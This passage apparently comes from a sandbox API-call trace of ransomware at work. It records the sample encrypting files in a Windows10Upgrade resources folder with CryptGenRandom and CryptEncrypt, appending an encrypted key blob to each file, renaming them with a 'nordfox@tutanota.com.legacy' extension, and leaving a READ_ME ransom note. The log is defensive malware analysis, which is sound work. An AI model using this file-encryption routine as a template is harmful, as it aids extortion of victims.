ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x41b67, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="ui-dark.css", cAlternateFileName="")) returned 1 [0141.143] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8d68 | out: hHeap=0x520000) returned 1 [0141.143] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0141.143] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0141.143] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0141.143] GetLastError () returned 0x0 [0141.143] SetLastError (dwErrCode=0x0) [0141.143] GetLastError () returned 0x0 [0141.143] SetLastError (dwErrCode=0x0) [0141.143] GetLastError () returned 0x0 [0141.143] SetLastError (dwErrCode=0x0) [0141.143] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610310 [0141.143] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610310 | out: hHeap=0x520000) returned 1 [0141.143] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0141.143] FindNextFileW (in: hFindFile=0x60c918, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6143a6, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea6143a6, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x41b67, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="ui-dark.css", cAlternateFileName="")) returned 0 [0141.143] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0141.143] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4530 [0141.143] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3428 [0141.143] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4530 | out: pbBuffer=0x5c4530) returned 1 [0141.143] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3428 | out: pbBuffer=0x5c3428) returned 1 [0141.143] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\ui-dark.css", dwFileAttributes=0x80) returned 1 [0141.144] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x612e58 [0141.144] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x563c58 [0141.144] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x612e58 | out: hHeap=0x520000) returned 1 [0141.144] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\ui-dark.css" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\css\\ui-dark.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7a0 [0141.145] GetFileSizeEx (in: hFile=0x7a0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=269159) returned 1 [0141.145] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x41b67) returned 0x2e81f40 [0141.146] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x41b67) returned 0x2f40858 [0141.147] ReadFile (in: hFile=0x7a0, lpBuffer=0x2e81f40, nNumberOfBytesToRead=0x41b67, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e81f40*, lpNumberOfBytesRead=0x2e1f9bc*=0x41b67, lpOverlapped=0x0) returned 1 [0141.183] SetFilePointer (in: hFile=0x7a0, lDistanceToMove=-269159, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.183] WriteFile (in: hFile=0x7a0, lpBuffer=0x2f40858*, nNumberOfBytesToWrite=0x41b67, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f40858*, lpNumberOfBytesWritten=0x2e1f9bc*=0x41b67, lpOverlapped=0x0) returned 1 [0141.184] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e81f40 | out: hHeap=0x520000) returned 1 [0141.184] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f40858 | out: hHeap=0x520000) returned 1 [0141.187] SetFilePointer (in: hFile=0x7a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x41b67 [0141.187] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0141.187] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0141.188] WriteFile (in: hFile=0x7a0, lpBuffer=0x5c4530*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4530*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0141.188] WriteFile (in: hFile=0x7a0, lpBuffer=0x5c3428*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0141.188] CloseHandle (hObject=0x7a0) returned 1 [0141.188] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4530 | out: hHeap=0x520000) returned 1 [0141.188] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3428 | out: hHeap=0x520000) returned 1 [0141.188] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\ui-dark.css" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\css\\ui-dark.css"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\ui-dark.css.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\css\\ui-dark.css.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0141.195] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563c58 | out: hHeap=0x520000) returned 1 [0141.195] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0141.195] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0141.195] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x611998 [0141.195] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0141.195] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3478 [0141.195] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0141.195] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0141.195] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\oobe-desktop.css", dwFileAttributes=0x80) returned 1 [0141.198] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x611a30 [0141.198] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x563f10 [0141.198] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x611a30 | out: hHeap=0x520000) returned 1 [0141.198] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\oobe-desktop.css" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\css\\oobe-desktop.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7a0 [0141.198] GetFileSizeEx (in: hFile=0x7a0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=40953) returned 1 [0141.198] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x9ff9) returned 0x614418 [0141.198] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x9ff9) returned 0x2f40858 [0141.199] ReadFile (in: hFile=0x7a0, lpBuffer=0x614418, nNumberOfBytesToRead=0x9ff9, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x614418*, lpNumberOfBytesRead=0x2e1f9bc*=0x9ff9, lpOverlapped=0x0) returned 1 [0141.201] SetFilePointer (in: hFile=0x7a0, lDistanceToMove=-40953, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.201] WriteFile (in: hFile=0x7a0, lpBuffer=0x2f40858*, nNumberOfBytesToWrite=0x9ff9, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f40858*, lpNumberOfBytesWritten=0x2e1f9bc*=0x9ff9, lpOverlapped=0x0) returned 1 [0141.201] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x614418 | out: hHeap=0x520000) returned 1 [0141.201] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f40858 | out: hHeap=0x520000) returned 1 [0141.201] SetFilePointer (in: hFile=0x7a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x9ff9 [0141.201] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0141.202] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0141.202] WriteFile (in: hFile=0x7a0, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0141.202] WriteFile (in: hFile=0x7a0, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0141.202] CloseHandle (hObject=0x7a0) returned 1 [0141.202] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0141.202] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3478 | out: hHeap=0x520000) returned 1 [0141.202] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\oobe-desktop.css" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\css\\oobe-desktop.css"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\oobe-desktop.css.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\css\\oobe-desktop.css.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0141.204] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563f10 | out: hHeap=0x520000) returned 1 [0141.204] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x611998 | out: hHeap=0x520000) returned 1 [0141.204] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x611868 | out: hHeap=0x520000) returned 1 [0141.204] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567418 [0141.204] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567760 | out: hHeap=0x520000) returned 1 [0141.204] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567850 | out: hHeap=0x520000) returned 1 [0141.204] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7a8 | out: hHeap=0x520000) returned 1 [0141.204] FindFirstFileW (in: lpFileName="\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea6143a6, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea61ff59, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xdb18421a, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x60c9d8 [0141.204] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0141.204] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0141.204] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0141.204] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0141.204] GetLastError () returned 0x0 [0141.204] SetLastError (dwErrCode=0x0) [0141.204] GetLastError () returned 0x0 [0141.204] SetLastError (dwErrCode=0x0) [0141.204] GetLastError () returned 0x0 [0141.204] SetLastError (dwErrCode=0x0) [0141.204] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574c18 [0141.204] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d8c8 [0141.204] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d8c8 | out: hHeap=0x520000) returned 1 [0141.204] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6103d8 [0141.204] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60c5d8 [0141.205] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c5d8 | out: hHeap=0x520000) returned 1 [0141.205] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20150 [0141.205] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20150 | out: hHeap=0x520000) returned 1 [0141.205] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6103d8 | out: hHeap=0x520000) returned 1 [0141.205] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574c18 | out: hHeap=0x520000) returned 1 [0141.205] FindNextFileW (in: hFindFile=0x60c9d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea6143a6, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea61ff59, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xdb18421a, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0141.205] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0141.205] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0141.205] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0141.205] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0141.205] GetLastError () returned 0x0 [0141.205] SetLastError (dwErrCode=0x0) [0141.205] GetLastError () returned 0x0 [0141.205] SetLastError (dwErrCode=0x0) [0141.205] GetLastError () returned 0x0 [0141.205] SetLastError (dwErrCode=0x0) [0141.205] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0141.205] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d240 [0141.205] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d240 | out: hHeap=0x520000) returned 1 [0141.205] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610298 [0141.205] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60c758 [0141.205] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c758 | out: hHeap=0x520000) returned 1 [0141.205] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e200d8 [0141.205] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e200d8 | out: hHeap=0x520000) returned 1 [0141.205] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610298 | out: hHeap=0x520000) returned 1 [0141.205] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0141.205] FindNextFileW (in: hFindFile=0x60c9d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea61ff59, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea61ff59, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x1395c6, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="base.js", cAlternateFileName="")) returned 1 [0141.205] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0141.205] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0141.205] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0141.206] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0141.206] GetLastError () returned 0x0 [0141.206] SetLastError (dwErrCode=0x0) [0141.206] GetLastError () returned 0x0 [0141.206] SetLastError (dwErrCode=0x0) [0141.206] GetLastError () returned 0x0 [0141.206] SetLastError (dwErrCode=0x0) [0141.206] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0141.206] FindNextFileW (in: hFindFile=0x60c9d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb18421a, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xdb18421a, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xdb18421a, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0141.206] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0141.206] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0141.206] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0141.206] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0141.206] GetLastError () returned 0x0 [0141.206] SetLastError (dwErrCode=0x0) [0141.206] GetLastError () returned 0x0 [0141.206] SetLastError (dwErrCode=0x0) [0141.206] GetLastError () returned 0x0 [0141.206] SetLastError (dwErrCode=0x0) [0141.206] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610298 [0141.206] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610298 | out: hHeap=0x520000) returned 1 [0141.206] FindNextFileW (in: hFindFile=0x60c9d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea61ff59, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea61ff59, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x2e7dba, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="ui.js", cAlternateFileName="")) returned 1 [0141.206] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0141.206] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0141.206] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0141.206] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0141.206] GetLastError () returned 0x0 [0141.206] SetLastError (dwErrCode=0x0) [0141.206] GetLastError () returned 0x0 [0141.206] SetLastError (dwErrCode=0x0) [0141.206] GetLastError () returned 0x0 [0141.206] SetLastError (dwErrCode=0x0) [0141.207] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567760 [0141.207] FindNextFileW (in: hFindFile=0x60c9d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea61ff59, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea61ff59, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x2e7dba, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="ui.js", cAlternateFileName="")) returned 0 [0141.207] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567508 [0141.207] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3f00 [0141.207] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0141.207] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3f00 | out: pbBuffer=0x5c3f00) returned 1 [0141.207] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0141.207] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\ui.js", dwFileAttributes=0x80) returned 1 [0141.207] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5675f8 [0141.207] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55ade8 [0141.207] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5675f8 | out: hHeap=0x520000) returned 1 [0141.207] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\ui.js" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\js\\ui.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7a4 [0141.208] GetFileSizeEx (in: hFile=0x7a4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=3046842) returned 1 [0141.208] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2e7dba) returned 0x3128020 [0141.214] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2e7dba) returned 0x342b020 [0141.221] ReadFile (in: hFile=0x7a4, lpBuffer=0x3128020, nNumberOfBytesToRead=0x2e7dba, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3128020*, lpNumberOfBytesRead=0x2e1f9bc*=0x2e7dba, lpOverlapped=0x0) returned 1 [0141.393] SetFilePointer (in: hFile=0x7a4, lDistanceToMove=-3046842, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.393] WriteFile (in: hFile=0x7a4, lpBuffer=0x342b020*, nNumberOfBytesToWrite=0x2e7dba, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x342b020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2e7dba, lpOverlapped=0x0) returned 1 [0141.423] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3128020 | out: hHeap=0x520000) returned 1 [0141.435] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x342b020 | out: hHeap=0x520000) returned 1 [0141.448] SetFilePointer (in: hFile=0x7a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2e7dba [0141.448] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0141.448] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0141.448] WriteFile (in: hFile=0x7a4, lpBuffer=0x5c3f00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3f00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0141.449] WriteFile (in: hFile=0x7a4, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0141.449] CloseHandle (hObject=0x7a4) returned 1 [0141.449] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3f00 | out: hHeap=0x520000) returned 1 [0141.449] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0141.449] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\ui.js" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\js\\ui.js"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\ui.js.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\js\\ui.js.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0141.529] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55ade8 | out: hHeap=0x520000) returned 1 [0141.529] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567508 | out: hHeap=0x520000) returned 1 [0141.529] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567760 | out: hHeap=0x520000) returned 1 [0141.529] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0141.529] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c53a0 [0141.529] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33f8 [0141.529] CryptGenRandom (in: 